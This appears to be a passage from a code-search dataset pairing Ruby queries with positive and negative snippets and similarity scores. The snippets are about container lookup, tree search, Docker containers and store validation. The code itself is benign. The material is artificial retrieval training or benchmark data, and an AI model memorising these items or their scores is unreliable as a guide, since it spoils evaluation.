"def longest_two_words(string)\n words = string.split(\" \")\n words.sort_by! {|x| x.length }\n words[-2..-1]\nend"
] |
[
"0.7788333",
"0.775992",
"0.7641569",
"0.7609698",
"0.7585937",
"0.7585478",
"0.756581",
"0.755528",
"0.7551067",
"0.7540802",
"0.75364083",
"0.7530776",
"0.75067186",
"0.750571",
"0.75023323",
"0.7499738",
"0.7499064",
"0.7491996",
"0.7487524",
"0.7468841",
"0.7441914",
"0.7417143",
"0.74113196",
"0.7410947",
"0.7407451",
"0.740598",
"0.73983765",
"0.7389418",
"0.73673046",
"0.7366364",
"0.7356522",
"0.7351918",
"0.7350703",
"0.7345764",
"0.7338578",
"0.7334575",
"0.7328726",
"0.7308506",
"0.72980434",
"0.7297705",
"0.7295804",
"0.72920454",
"0.72915506",
"0.72863877",
"0.7279423",
"0.7268684",
"0.7266211",
"0.72584385",
"0.7256985",
"0.7255466",
"0.7244857",
"0.7244857",
"0.7243649",
"0.7241049",
"0.7231674",
"0.72244775",
"0.72098404",
"0.7207408",
"0.72026837",
"0.71975005",
"0.71975005",
"0.71975005",
"0.7194618",
"0.71899486",
"0.7188994",
"0.7187434",
"0.71783626",
"0.7177876",
"0.71538925",
"0.71538526",
"0.7148473",
"0.71474165",
"0.7143369",
"0.7143101",
"0.7142067",
"0.71386003",
"0.7137881",
"0.7137451",
"0.7128255",
"0.7091113",
"0.708601",
"0.7084726",
"0.70779026",
"0.7063035",
"0.7049573",
"0.70391655",
"0.7038155",
"0.70344794",
"0.7030785",
"0.70175755",
"0.7017203",
"0.69939953",
"0.6989175",
"0.69870406",
"0.6977657",
"0.6969468",
"0.6969195",
"0.69690996",
"0.6956854",
"0.6947297"
] |
0.70784223
|
82
|
Find container that was added with given key
|
def find(key)
raise UnknownEntity unless key?(key)
collection[ukey(key)]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def find_by_key(key)\n find_by_id(key) # backlog method looks exactly the same except for the parameter type\n end",
"def find_by_key(key)\n by_key[key]\n end",
"def find_by_key(key)\n by_key[key]\n end",
"def find_by_key(key)\n find_by('key', key)\n end",
"def find(key)\n find_node(checked_get_node(key))\n end",
"def find(key)\n items.find do |item|\n item.key == key\n end\n end",
"def find(key)\n return find_helper(@root, key)\n end",
"def find(key)\n return find_helper(@root, key)\n end",
"def find(key)\n return find_helper(@root, key)\n end",
"def find(key)\n return find_helper(@root, key)\n end",
"def find(key)\n return find_helper(@root, key)\n end",
"def find(key)\n find_helper(@root, key)\n end",
"def find(key)\n find_helper(@root, key)\n end",
"def key?(container, key)\n container.key?(key.to_s)\n end",
"def find(key)\n helper_find(@root, key)\n end",
"def find(key)\n current_node = @root \n return find_helper(current_node, key)\n end",
"def container(key, klass)\n type_conflict! klass, top[key] if top.is_a?(Hash) && top.key?(key) && ! top[key].is_a?(klass)\n value = bind(key, klass.new)\n type_conflict! klass, value unless value.is_a?(klass)\n push(value)\n end",
"def find(key)\n return self if @name == key\n @children.each do |child|\n next unless child.respond_to?(:find)\n match = child.find(key)\n return match unless match.nil?\n end\n nil\n end",
"def find(key)\n return nil if @root.nil?\n return find_helper(@root, key)\n end",
"def find(key)\n root = root? key.slice(0)\n [].tap { |a| root and probe(0, root, key[1..-1], a) }\n # generate_result([], key) { |rkey, r| r.first.prepend(rkey) }\n end",
"def lookup(key, container_lookup=false)\n\n Ruote.lookup(h.fields, key, container_lookup)\n end",
"def find(key)\n if root.nil?\n return nil\n else\n root.find(key)\n end\n end",
"def find(hostname)\n @environment.containers.find {|cont| cont.hostname.include?(hostname)}\n end",
"def dns_find(key)\n \n end",
"def find(key)\n new(key: key, name: TYPES[key.to_sym]) if TYPES.has_key?(key.to_sym)\n end",
"def find_or_create_container\n unless connection.container_exists?(@config.container)\n connection.create_container(@config.container)\n end\n connection.container(@config.container)\n end",
"def search_key key\n node = self.head\n while node\n return node if node.key == key\n nc = node.child \n while nc\n return nc if nc.key == key\n ncs = nc.sibling\n while ncs \n return ncs if ncs.key == key\n ncs = ncs.sibling\n end\n nc = nc.child\n end\n node = node.sibling\n end\n end",
"def find(key)\n if @root.nil?\n return nil\n elsif @root.key == key\n return @root.value\n else\n find_helper(@root, key)\n end\n end",
"def recursive_find_by_key(key)\n # Create a stack of hashes to search through for the needle which\n # is initially this hash\n stack = [ self ]\n\n # So long as there are more haystacks to search...\n while (to_search = stack.pop)\n # ...keep searching for this particular key...\n to_search.each do |k, v|\n # ...and return the corresponding value if it is found.\n return v if (k == key)\n\n # If this value can be recursively searched...\n if (v.respond_to?(:recursive_find_by_key))\n # ...push that on to the list of places to search.\n stack << v\n end\n end\n end\n end",
"def find_entry(key)\n key_hash = key.hash\n\n entry = @entries[key_index(key_hash)]\n while entry\n if entry.match? key, key_hash\n return entry\n end\n entry = entry.next\n end\n end",
"def find _key\n _object = store.transaction(:read_only) { |s| s[prepare_key(_key)] }\n _object.send(:after_load) if _object\n _object\n end",
"def find(key)\n # TODO(himanshujaju) - possible improvement by not checking for contains.\n if contains?(key)\n return @key_data[key].value\n end\n\n return nil\n end",
"def get_container\n container_id_key = params.keys.find_all { |key| key =~ /\\w+_id/ }.last\n container_class = eval(container_id_key.humanize.titleize.delete(' '))\n @container = container_class.find_by_id(params[container_id_key])\n redirect_with_error 'Invalid project id' unless @container\n end",
"def find_key(key)\n leaf, stack = walk_towards_key(key)\n return nil if leaf && leaf.peek_item.key != key\n leaf\n end",
"def find_by_key(key)\n type, trail = decode_key(key)\n case type[0]\n when ?S\n ActiveSP::Site.new(self, trail[0] == \"\" ? @root_url : ::File.join(@root_url, trail[0]), trail[1].to_i)\n when ?L\n ActiveSP::List.new(find_by_key(trail[0]), trail[1])\n when ?U\n ActiveSP::User.new(root, trail[0])\n when ?G\n ActiveSP::Group.new(root, trail[0])\n when ?R\n ActiveSP::Role.new(root, trail[0])\n when ?A\n find_by_key(trail[0]).field(trail[1])\n when ?P\n ActiveSP::PermissionSet.new(find_by_key(trail[0]))\n when ?F\n list = find_by_key(trail[0])\n ActiveSP::Folder.new(list, trail[1])\n when ?I\n list = find_by_key(trail[0])\n ActiveSP::Item.new(list, trail[1])\n when ?T\n parent = find_by_key(trail[0])\n if ActiveSP::List === parent\n ActiveSP::ContentType.new(parent.site, parent, trail[1])\n else\n ActiveSP::ContentType.new(parent, nil, trail[1])\n end\n else\n raise \"not yet #{key.inspect}\"\n end\n end",
"def key?(key)\n config.resolver.key?(_container, key)\n end",
"def find(key)\n startslot = hashfunction(key, @size)\n position = startslot\n while @slots[position] != nil\n if @slots[position] == key\n return position\n else\n position = rehash(position, @size)\n return false if position == startslot\n end\n end\n nil\n end",
"def lookup(key)\n @@registry[registry_key(key)]\n end",
"def get_container_instance(container)\n Docker::Container.all(all: true).each do |cont|\n return cont if cont.id == container\n end\n end",
"def find(key)\n # If we are already on nil, just add it here\n return nil if @root.nil?\n #Return the root value if it is the value we are looking for\n return @root.value if @root.key == key\n #Otherwise, call in reinforcements\n return find_helper(@root, key)\n end",
"def peek_item(key)\n leaf = find_key(key)\n return nil unless leaf\n leaf.peek_item\n end",
"def find_by_key(key)\n result = assert_connected(table)[key]\n return nil if result.nil?\n return new(result.merge(:pk => key))\n end",
"def find(key)\n if !contains?(key)\n return nil\n end\n\n @semaphore.synchronize {\n @internal_clock += 1\n previous_data = @key_data[key]\n update_access_time_locked(key, @internal_clock, previous_data.access_time)\n\n return previous_data.value\n }\n end",
"def find(key_sequence)\n key_sequence=KeyMapNode.arrayify(key_sequence)\n return nil if key_sequence.length < @key_sequence.length\n if key_sequence.length > @key_sequence.length\n\n if self.key_sequence[0..@key_sequence.length-1]==@key_sequence\n @children.each do | child|\n result =child.find(key_sequence)\n return result if result\n end\n end\n \n elsif @key_sequence==key_sequence\n\n \n return self\n end\n \n return nil\n end",
"def find(key, options = {})\n result = @cluster.client.fetch options.merge(bucket: @name, key: key)\n if result.content.length == 0\n nil\n elsif result.content.length > 1\n # Resolve siblings... some way\n else\n result\n end\n end",
"def [](key)\n @children.find { |c| c.title == key }\n end",
"def container\n containers.find do |container|\n subtitle_display = CARD_NAME_OVERRIDES[self.multiverse_id] ||\n self.page.css('[id$=\"subtitleDisplay\"]').text.strip\n container.css('[id$=\"nameRow\"] .value').text.strip == subtitle_display\n end || containers.first\n end",
"def find(key)\n node = find_node(key)\n (node == nil ? nil : node.value)\n end",
"def exist(key)\n check_return_code(\n Lib.memcached_exist(@struct, key),\n key\n )\n end",
"def containers(key = nil, options = {})\n key ||= properties.key1\n\n query = \"comp=list\"\n options.each { |okey, ovalue| query += \"&#{okey}=#{[ovalue].flatten.join(',')}\" }\n\n response = blob_response(key, query)\n\n doc = Nokogiri::XML(response.body)\n\n results = doc.xpath('//Containers/Container').collect do |element|\n Container.new(Hash.from_xml(element.to_s)['Container'])\n end\n\n results.concat(next_marker_results(doc, :containers, key, options))\n end",
"def search(key)\n return binary(0, @keys.size-1, key)\n end",
"def find_by_key(key)\n result = nil\n @vendors.each do |vendor|\n result = vendor if vendor.vendor_keys.any? { |k| k.key == key }\n end\n result\n end",
"def [](key)\n selected_child = children.select {|child| child.name == key }\n selected_child.size.eql?(1) ? selected_child.first : selected_child\n end",
"def find(key)\r\n \t\t\t# Start at beginning of the List\r\n \t\t\tcurrent = @head\r\n \t\t\t# Go through list until nil\r\n\t\t\twhile current\r\n\t\t\t\t# If matching key is found return value at node\r\n\t\t\t\tif current.key == key\r\n\t\t\t\t\treturn current.value\r\n\t\t\t\tend\r\n\t\t\t\t# Go to next node\r\n\t\t\t\tcurrent = current.next\r\n\t\t\tend\r\n \t\tend",
"def find_container\n if action_name.in? ['create', 'update']\n cid = params[:container_id]\n else\n cid = params[:id]\n params[:id] = params[:download_id]\n alid = params[:activity_log_id]\n altype = params[:activity_log_type]\n end\n @container = NfsStore::Browse.open_container id: cid, user: current_user\n @retrieval_type = params[:retrieval_type]\n\n @activity_log = ActivityLog.open_activity_log altype, alid, current_user if alid.present? && altype.present?\n\n case @retrieval_type\n when 'stored_file'\n @download = @container.stored_files.find_by(id: params[:download_id])\n when 'archived_file'\n @download = @container.archived_files.find_by(id: params[:download_id])\n else\n raise FphsException, 'Incorrect retrieval_type set'\n end\n\n @container.parent_item = @activity_log\n @master = @container.master\n @master.current_user ||= current_user\n # object_instance.container = @container\n @container\n end",
"def container\n cache or raise RuntimeError, \"no container known.\"\n end",
"def include?(key)\n found = structures.reverse_each.find { |container| container.include?(key) }\n !found.nil? && (found[key] != Utils::DeletedMarker)\n end",
"def get_container(container_name = \"lightstructures\")\n containers = $azure_blob_service.list_containers()\n return containers.detect { |c| c.name == container_name } # Must be better ways?!\nend",
"def find_param(key)\n find_param_by_key(key)\n end",
"def include?(key)\n @collection.include?(key)\n end",
"def find(collection, *key)\n command(collection).get(key)\n end",
"def find_param_by_key(key)\n self.parameters().detect(){|p| p.key.eql?(key)}\n end",
"def container\n return nil if container_type.blank? || container_id.blank?\n container_type.constantize.where(id: container_id).first\n end",
"def get(key)\n found = @hash[key]\n\n if found\n @list.move_node_to_head(found)\n return found\n end\n\n -1\n end",
"def find_in_events(ref_key)\n @events_store.select{|key, hash| hash.has_value?(ref_key) }\n end",
"def find_item (name)\n\tnamespace = self\n\twhile namespace\n\t break if namespace.has_key? name\n\t namespace = namespace.parent\n\tend\n\tnamespace\n end",
"def find_node(key)\n return nil if @root == nil\n node = @root.find_vertical(key)\n (node.nil? || node.value.nil? ? nil : node)\n end",
"def k8s_node(key)\n k8s_node_sub(@_k8s_node, key, key)\n end",
"def container_of_allocated_port(port)\n Docker::Container.all.each do |container|\n public_ports = container.info['Ports'].map { |public_port| public_port['PublicPort'] }\n return container if public_ports.include? port\n end\n nil\n end",
"def find_by_kv(key, value)\n self.find { |hash| hash[key] == value }\n end",
"def get_node(key); end",
"def [](key)\n key = convertName(key)\n #key = key.intern if key.kind_of?(String)\n ensureKey(key)\n @children[key]\n end",
"def lookup(key)\n return nil if @capacity <= 0\n\n @cache_mutex.synchronize do\n return nil unless @map.include?(key)\n\n element = @map.delete(key)\n return nil if element.stale?(@timeout)\n\n @map[key] = element\n\n element.value\n end\n end",
"def register(key, klass)\n container.register(key, klass)\n end",
"def search key, lambda = {}\n node = head\n while node.next_ != nil && node.key != key\n node = node.next_\n end\n node\n end",
"def find_instance_item(template_item)\n container_list = item_container_list(template_item)\n return container_list.find {|obj| obj.template_id == template_item.template_id }\n end",
"def get(key)\n key = to_key key\n return @group[key] if @group.key? key\n create key\n end",
"def get_item(key)\n self[key]\n end",
"def find\n self.class.find_by_key(@jira_key)\n end",
"def find_by_id(container_id)\n container_class.find_by_id(container_id)&.wiki\n end",
"def container\n @container ||= Docker::Container.get(@name)\n rescue Docker::Error::NotFoundError\n @container = nil\n end",
"def get_operation_by_key(key)\n r = @operations.select{|o| o[:key]==key}\n if r != nil\n return r.first if r.size>0\n end\n return nil\n end",
"def find(key)\n return if !@root\n curr = @root\n while curr \n if curr.key == key\n return curr.value\n elsif curr.key > key\n curr = curr.left\n else\n curr = curr.right\n end\n end\n return false\n end",
"def find(key, node = root)\n return nil if node.nil?\n if key == node.data\n return node\n else\n find(key, left_right(key, node))\n end\n end",
"def find_by_reference_key(class_name, record_id)\n find_by_reference_keys [class_name, record_id]\n end",
"def key?(key)\n @items.key?(key)\n end",
"def try_get(key)\n curr = self\n found = false\n val = nil\n while (not found) and (not curr.nil?)\n found, val = curr.query(key)\n curr = curr.parent\n end\n return [ found, val ]\n end",
"def [](key)\n @children[key]\n end",
"def [](key = nil)\n return @collection unless key\n\n result = @collection.find { |f| f.name == key }\n return result.value if result\n\n nil\n end",
"def container\n @container ||= find_or_create_container\n end",
"def find_by_key(val)\n find(:first, :conditions => {:key => prepare_key(val)})\n end",
"def container(container_id)\n if container_id\n container = ::Docker::Container.send(:new, @dockerd, container_id)\n # return the container json if we can retrieve it.\n begin\n # check the container exists by querying its json\n container.json\n container\n # if the container doesn't exist we get an Excon 404\n rescue Excon::Errors::NotFound\n nil\n end\n else\n nil\n end\n end",
"def find_container_model_by_name(name)\n container_models[name.to_str]\n end",
"def search key\r\n #start searching from the head (if the head is NULL, get out of the function and return NULL)\r\n node = @head\r\n #while there's still any unsearched node in the list (you haven't reach the end of the list) and the wanted node hasn't been found\r\n while (node != nil) && (node.get_value != key)\r\n #search the wanted node linearly using the next pointer\r\n node = node.get_next_node\r\n #You MUST keep the order of the logical checking or you'll get an error for trying to check the key of NULL\r\n end\r\n #return a pointer to the wanted node (if no node with the key appears in the list, this will return NULL)\r\n return node\r\n end",
"def find(key)\n # raise NotImplementedError\n return nil if @root == nil\n find_help(@root, key)\n end",
"def find_test(key)\n @suites[key.to_sym].new(@client, @client2) if @suites.keys.include?(key.to_sym)\n end",
"def store_key_lookup(container_attribute, store_key)\n @store_key_to_definition[container_attribute.to_s] &&\n @store_key_to_definition[container_attribute.to_s][store_key.to_s]\n end",
"def contain\n c = nil\n if contained_in.is_a?(Container)\n c = contained_in\n else\n c = Container.find(contained_in)\n end\n\n put_in_container(c)\n end",
"def get(key)\n get_all(key).first\n end",
"def include?(key)\n @services.key?(key)\n end"
] |
[
"0.6667924",
"0.64860517",
"0.64860517",
"0.64410836",
"0.63841796",
"0.6318494",
"0.62892115",
"0.62892115",
"0.62892115",
"0.62892115",
"0.62892115",
"0.6277866",
"0.6277866",
"0.6260197",
"0.61761004",
"0.61044544",
"0.6065051",
"0.60620284",
"0.6025401",
"0.59484065",
"0.5940098",
"0.59387475",
"0.59038186",
"0.58779186",
"0.5860996",
"0.57510495",
"0.5711422",
"0.5708035",
"0.568917",
"0.56864464",
"0.5679727",
"0.566363",
"0.56594795",
"0.5651039",
"0.5617744",
"0.5605731",
"0.5561269",
"0.5560974",
"0.5550268",
"0.55365735",
"0.55084234",
"0.5498713",
"0.54871976",
"0.54639417",
"0.5463609",
"0.5425291",
"0.54252213",
"0.54107827",
"0.5400183",
"0.5393991",
"0.53888214",
"0.5379145",
"0.5369079",
"0.53610414",
"0.5348234",
"0.53423727",
"0.5340267",
"0.5337477",
"0.5330761",
"0.5321875",
"0.5319192",
"0.5313598",
"0.5309786",
"0.52775294",
"0.52755666",
"0.5257547",
"0.52529144",
"0.52500373",
"0.5249961",
"0.5244508",
"0.52328235",
"0.52288294",
"0.5227373",
"0.5223276",
"0.52221364",
"0.5221773",
"0.5218771",
"0.5215174",
"0.5210487",
"0.5207836",
"0.51897717",
"0.5184981",
"0.5181266",
"0.5173133",
"0.5169348",
"0.51639205",
"0.5162364",
"0.51607424",
"0.51603234",
"0.5157312",
"0.514793",
"0.51453286",
"0.5132368",
"0.5130124",
"0.51249856",
"0.51212496",
"0.51172036",
"0.51112306",
"0.5102692",
"0.50969785"
] |
0.60549146
|
18
|
Iterate throw all registered containers
|
def each_container(&block)
collection.each_value(&block)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def each(&block)\n config.resolver.each(_container, &block)\n end",
"def each(&block)\n @_componentable_container.each(&block)\n end",
"def each(&block)\n @services.each { |c|\n yield c\n }\n end",
"def each\n _registry.each do |name, s|\n yield name, s\n end\n end",
"def each\n raise 'Not implemented'\n end",
"def containers\n containers_exited(days_old: 1)\n containers_running(days_old: 1)\n end",
"def iterate\n\t\t\t# First off, if we can free up resources, we should do that first.\n\t\t\tModel::Instance.marked_on_host(AppManager.host).each { |i|\n\t\t\t\tAppManager.kill_marked i\n\t\t\t}\n\n\t\t\t# We do this right after to avoid too long a wait for instances to\n\t\t\t# spin up.\n\t\t\tModel::Instance.started_on_host(AppManager.host).each { |i|\n\t\t\t\tAppManager.check_startup i\n\t\t\t}\n\n\t\t\tModel::Instance.live_on_host(AppManager.host).each { |i|\n\t\t\t\tAppManager.check_running i\n\t\t\t}\n\n\t\t\t# TODO: ready_dataset needs a .where(:some_criterion => foo); JG\n\t\t\t# suggests a distributed hashing algorithm for selecting instances,\n\t\t\t# which from the sound of it would avoid collisions. The goal is\n\t\t\t# to distribute load semi-optimally for capacity, ideally without\n\t\t\t# requiring that the nodes communicate with or monitor each other.\n\t\t\ti = Model::Instance.ready_dataset.first\n\t\t\tif i\n\t\t\t\tAppManager.spin_up i\n\t\t\tend\n\t\tend",
"def iterate\n raise \"You should implement this\"\n end",
"def each_available_container_model(&block)\n container_models.each_value(&block)\n end",
"def each\n all.each do |el|\n yield el\n end\n end",
"def each\n all.each do |el|\n yield el\n end\n end",
"def each_active_machine()\n machines = ActiveMachine.find_all_by_state(\"running\")\n machines.each do |machine|\n begin\n yield machine.instance_id, machine.region\n rescue Exception => e\n @@logger.info('Exception received: ' + e.message)\n @@logger.info(e.backtrace.inspect)\n end\n end\n end",
"def each(&block)\n call_client(:each, &block)\n end",
"def all\n containers = service.list_containers\n data = []\n containers.each do |container|\n c = parse_storage_object(container)\n c[:acl] = 'unknown'\n data << c\n end\n load(data)\n end",
"def each(container, &block)\n container.map { |key, value| [key, value.call] }.each(&block)\n end",
"def containers\n return @containers\n end",
"def containers\n TestLab::Container.all\n end",
"def each\n return @services.each_key unless block_given?\n\n @services.each_key { |key| yield key }\n end",
"def each(&block)\n packages.each_value(&block)\n end",
"def each_interface(&block)\n\t\tget_interfaces().each(&block)\n\tend",
"def launch_all\n @servers.each { |s|\n begin\n object_behavior(s, :start)\n rescue Exception => e\n raise e unless e.message =~ /AlreadyLaunchedError/\n end\n }\n end",
"def each()\n hijos.each() do |v|\n yield v\n end\n end",
"def each &blk\n return enum_for(:each) unless blk\n each_catalog_preset.map{|l,d|l}.each(&blk)\n items = objects_to_index.flatten.select { |e| !e.is_a?(CatalogPreset) }\n until items.empty?\n stack = []\n items.each do |o|\n yield o\n stack += Array(o.objects_to_index) if o.respond_to? :objects_to_index\n end\n items = stack.flatten\n end\n end",
"def each &block\n #els = elements.map{|e| Builder.new(singular_r_name, e).build}\n return elements.to_enum if !block_given?\n for element in elements\n block.call(element)\n end\n end",
"def each_service(wspace=workspace, &block)\n\t\tservices(wspace).each do |service|\n\t\t\tblock.call(service)\n\t\tend\n\tend",
"def resolved_containers\n @resolved_containers ||= containers.collect { |container| Container.new(container) }\n @resolved_containers\n end",
"def each(&block)\n internal_collection.each(&block)\n end",
"def containers\n @containers ||= Docker::Container.all(\n all: true, # include stopped containers\n filters: { id: container_ids }.to_json\n ).map(&:json)\n end",
"def launch_all\n @servers.each { |s|\n begin\n obj_behavior(s, :start)\n rescue Exception => e\n raise e unless e.message =~ /AlreadyLaunchedError/\n end\n }\n end",
"def with_all(continue_on_error = false)\n cluster.shards.map do |shard|\n begin\n with_shard(shard) {\n yield\n }\n rescue Exception => err\n unless continue_on_error\n raise err\n end\n err\n end\n end\n end",
"def each_service(&block)\n\t\tservices.each do |service|\n\t\t\tblock.call(service)\n\t\tend\n\tend",
"def each(&block)\n @class_map.each(&block);\n end",
"def each(collection)\n\ti = collection.count\n\twhile i > 0\n\t\tyield collection\n\t\ti -= 1\n\tend\nend",
"def each\n @collection.each { |c| yield c }\n end",
"def each\n namespaces.each_pair{|name, n| yield n if block_given?}\n end",
"def all_each\n all_stashed = @mutex.synchronize { stashes.values.flatten }\n all_stashed.each do |s|\n begin\n yield s\n rescue Reel::SocketError, IOError, SystemCallError => e\n debug \"all - #{e.message}\"\n remove_socket s\n stashes.values.each {|_s| _s.delete s}\n end\n end\n end",
"def each(&block)\n interfaces_hash.each_value(&block)\n end",
"def init_containers\n return @init_containers\n end",
"def get_containers\n assert_not_nil @rdigg.info.get_containers\n end",
"def each(&block)\n @stack.lazy.map(&:middleware).each(&block)\n end",
"def link_containers\n @containers.each_value do |container|\n links = container.attributes[:links]\n\n next if links.nil?\n\n links.each do |service, label|\n dependency_container = @containers[service]\n container.add_dependency(dependency_container)\n end\n end\n end",
"def each(&block)\n end",
"def accumulate_instances\n self.repository = Hash.new { |h,k| h[k] = new(*k) }\n\n begin\n yield\n return repository.values\n ensure\n self.repository = nil\n end\n end",
"def consume_all\n end",
"def consume_all\n end",
"def all_components()\n comps = self.components.map do |c|\n if c.is_a?(Eddy::Models::Loop::Base)\n c.all_contents()\n elsif c.is_a?(Eddy::Models::Segment)\n c\n else\n raise Eddy::Errors::RenderError\n end\n end\n return comps.flatten\n end",
"def terminate\n log.info('Terminating containers', containers: @attempted.length)\n begin\n ts = @attempted.map do |attempted|\n Thread.new {attempted.terminate}\n end\n ts.each(&:join)\n rescue Exception => e\n log.error('Could not terminate all containers', containers: @attempted)\n raise\n end\n end",
"def each\n @uuids.each do |uuid|\n if !@connections[uuid].nil?\n yield @connections[uuid]\n end\n end\n end",
"def each(&block); end",
"def each(&block); end",
"def each(&block); end",
"def each(&block); end",
"def each(&block); end",
"def each(&block); end",
"def each(&block)\n all.each(&block)\n end",
"def get_containers\n init_folder unless @init # have I been initialized?\n return @containers \n end",
"def all\n @all ||= ENV['DOCKER_REGISTRIES'].to_s.split(',').map { |url| new(url) }\n end",
"def each_host(&block)\n hosts.each do |host|\n host.instance_exec &block\n end\n end",
"def each_class_ns()\n @amqp.classes.each { |c| namespace(c.nsname) { yield c } }\n end",
"def each(&block)\n raise NotImplementedError\n end",
"def each(&block)\n @grouped_collection.each { |gc| block.call(gc) }\n end",
"def each(&block)\n\t\t\t@plugins.each do |k,v|\n\t\t\t\tyield k, v[:instance]\n\t\t\tend\n\t\tend",
"def each_host(&blk)\r\n @hosts.each do |host|\r\n yield host\r\n end\r\n end",
"def inject(services_container); end",
"def each\n begin\n @ghash.dup.each_value do |go|\n yield go\n end\n rescue Exception => e\n log \"Exception occured while iterating the (duplicate list of) members of this Gary\"\n log e\n log e.inspect\n log e.backtrace.join(\"\\n\")\n end\n end",
"def each_exon\n parse if !@exonlist\n each_item(@exonlist) { |id, recs, component | yield id, recs, component }\n end",
"def each_key(&block)\n config.resolver.each_key(_container, &block)\n self\n end",
"def read_containers\n []\n end",
"def each(&block)\n @all.each(&block)\n end",
"def finalize\n lifecycle.container.each do |key, item|\n container.register(key, item) unless container.registered?(key)\n end\n self\n end",
"def each(&block)\n return all.each(&block)\n end",
"def run_on_all_extractors(rated_figure)\n for i in 0...@extractors.size\n extractor = @extractors[i]\n begin\n # Execute the given block for each extractor\n yield extractor\n # Jump out of the loop and continue with next figure\n break\n rescue Exception => e\n # Log the contained message\n Rails.logger.warn(\"#{extractor.class}: #{e.to_s}\")\n if i == (@extractors.size - 1)\n # Even the last extractor failed\n Rails.logger.warn(\"#{self.class}: Extraction failed permanently\")\n rated_figure.succeeded = false\n rated_figure.error_msg = \"#{extractor.class}: #{e.to_s}\"\n end\n end\n end\n end",
"def each(&block)\n raise NotImplementedError\n end",
"def each(&block)\n @collection.each(&block)\n end",
"def each\n group.each\n end",
"def each\n yield self\n end",
"def each(&block)\n root.each(&block)\n end",
"def each\n\t\t\t@elements.each\n\t\tend",
"def machines\n @env.active_machines.each { |m| yield @env.machine(*m) }\n end",
"def each(&block)\n @queues.each(&block)\n end",
"def each_host\n @hosts.each do |host|\n yield host: host\n end\n\n self\n end",
"def each(&block)\n\n all.each { |wi| block.call(wi) }\n end",
"def each(*) end",
"def each_client(&blk)\n @clients.each_value(&blk)\n end",
"def each\n @roots.each {|cert| yield cert}\n end",
"def each\n @roots.each {|cert| yield cert}\n end",
"def each(&proc)\n @modules.each(&proc)\n end",
"def each\n items.each { |itm| yield itm }\n end",
"def each(&block)\n @collection.each(&block)\n end",
"def each(&block)\n axis_iterator(:child).each(&block)\n end",
"def all_joinees\n rebuild_instances(self.joinees)\n end",
"def iterate &block\r\n threads = []\r\n @providers.each do |browser|\r\n threads << Thread.new do\r\n yield browser\r\n end\r\n end\r\n threads.each {|thread| thread.join}\r\n end",
"def each\n self.to_a.each do |el|\n yield(el)\n end\n end",
"def all_servers\n Infrataster::Server.defined_servers.map { |i| server(i.name) }\nend",
"def each\n @node_set.each do |c|\n yield NodeProxy.new(c, parent)\n end\n end",
"def each\n if @java_object.getClass.getMethods.any? {|m| m.getName == \"iterator\"}\n i = @java_object.iterator\n while i.hasNext\n yield wrap_java_object(i.next)\n end\n end\n end",
"def all_components()\n return self.components.map do |comp|\n case comp\n when Eddy::Summary::Loop then [comp, comp.all_components()]\n when Eddy::Summary::Segment then comp\n else raise Eddy::Errors::Error\n end\n end.flatten\n end",
"def each_channel(&block); end",
"def each_pool\n return enum_for(__method__) unless block_given?\n @pool.each { |_, pool| yield pool }\n end",
"def each_host(wspace=framework.db.workspace, &block)\n ::ApplicationRecord.connection_pool.with_connection {\n wspace.hosts.each do |host|\n block.call(host)\n end\n }\n end"
] |
[
"0.6700357",
"0.65271366",
"0.61161953",
"0.6114471",
"0.6024874",
"0.5981238",
"0.5825936",
"0.5818672",
"0.58153105",
"0.5809472",
"0.5786065",
"0.57444715",
"0.56771535",
"0.56591135",
"0.5642689",
"0.5632302",
"0.5631373",
"0.557811",
"0.5561838",
"0.5558931",
"0.55567896",
"0.5541106",
"0.5523289",
"0.5522086",
"0.55118734",
"0.55117536",
"0.55111253",
"0.5506357",
"0.55054325",
"0.5490698",
"0.5485476",
"0.5461874",
"0.5443123",
"0.54404384",
"0.5436795",
"0.5435356",
"0.5430143",
"0.542731",
"0.5421964",
"0.5421552",
"0.5421",
"0.54200214",
"0.5414",
"0.5413709",
"0.5413709",
"0.5413112",
"0.54078245",
"0.53969264",
"0.5395711",
"0.5395711",
"0.5395711",
"0.5395711",
"0.5395711",
"0.5395711",
"0.53927624",
"0.5391951",
"0.53750366",
"0.5373284",
"0.5371427",
"0.5366048",
"0.53598976",
"0.5354221",
"0.53211975",
"0.53206587",
"0.5312173",
"0.5309838",
"0.5302886",
"0.5302694",
"0.5292216",
"0.52832323",
"0.5273461",
"0.52733266",
"0.52722883",
"0.5272014",
"0.5267151",
"0.52615803",
"0.5254172",
"0.5248616",
"0.52481353",
"0.52419555",
"0.5230382",
"0.52222043",
"0.52216077",
"0.5218825",
"0.5217799",
"0.5217799",
"0.5213636",
"0.5212032",
"0.5198221",
"0.51951647",
"0.51939386",
"0.519176",
"0.5181146",
"0.5178815",
"0.517243",
"0.5169494",
"0.5165011",
"0.5161677",
"0.51569116",
"0.51490647"
] |
0.6379058
|
2
|
does the store carry at least one type of apparel?
|
def must_carry_mens_or_womens_apparel
errors.add(:mens_apparel, 'or womens apparel must be provided') unless mens_apparel || womens_apparel
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def has_appstore?\n !appstore_url.blank?\n end",
"def valid_ape_type?(type)\n ITEM_TYPES.include?(type)\n end",
"def requires_master?\n return app_type unless item_class.respond_to?(:no_master_association)\n\n app_type && !item_class.no_master_association\n end",
"def transfer_applicant?\n appl_type == \"2\" || appl_type == \"4\"\n end",
"def is_store?(product)\r\n return false unless product\r\n return false if @cobrand.short_name == \"viewpoints\"\r\n store_type = product.get_answer_value('Sears or Kmart')\r\n product.category.name == 'Department Stores' and (store_type == 'Sears' or store_type == 'Kmart')\r\n end",
"def application_type\n user_is_pro? ? \"store\" : \"user\"\n end",
"def has_app_info? itemdata\n itemdata.is_a?(Hash) && itemdata['docid']\n end",
"def must_carry_mens_or_womens_apparel\n errors.add(:base, \"Store must carry either women's or men's apparel.\") if (!mens_apparel && !womens_apparel)\n end",
"def authen_type_arap?()\n return true if (@authen_type == TAC_PLUS_AUTHEN_TYPE_ARAP)\n return false\n end",
"def equip_atype_ok?(atype_id)\r\n features_set(FEATURE_EQUIP_ATYPE).include?(atype_id)\r\n end",
"def has_app_for_company?(company)\n has_app_for_company_number?(company.company_number)\n end",
"def from_market?(_program)\n true\n end",
"def homogeneous?\n asset_type_ids.length == 1\n end",
"def all_resident?\n lead_type == \"all_resident\"\n end",
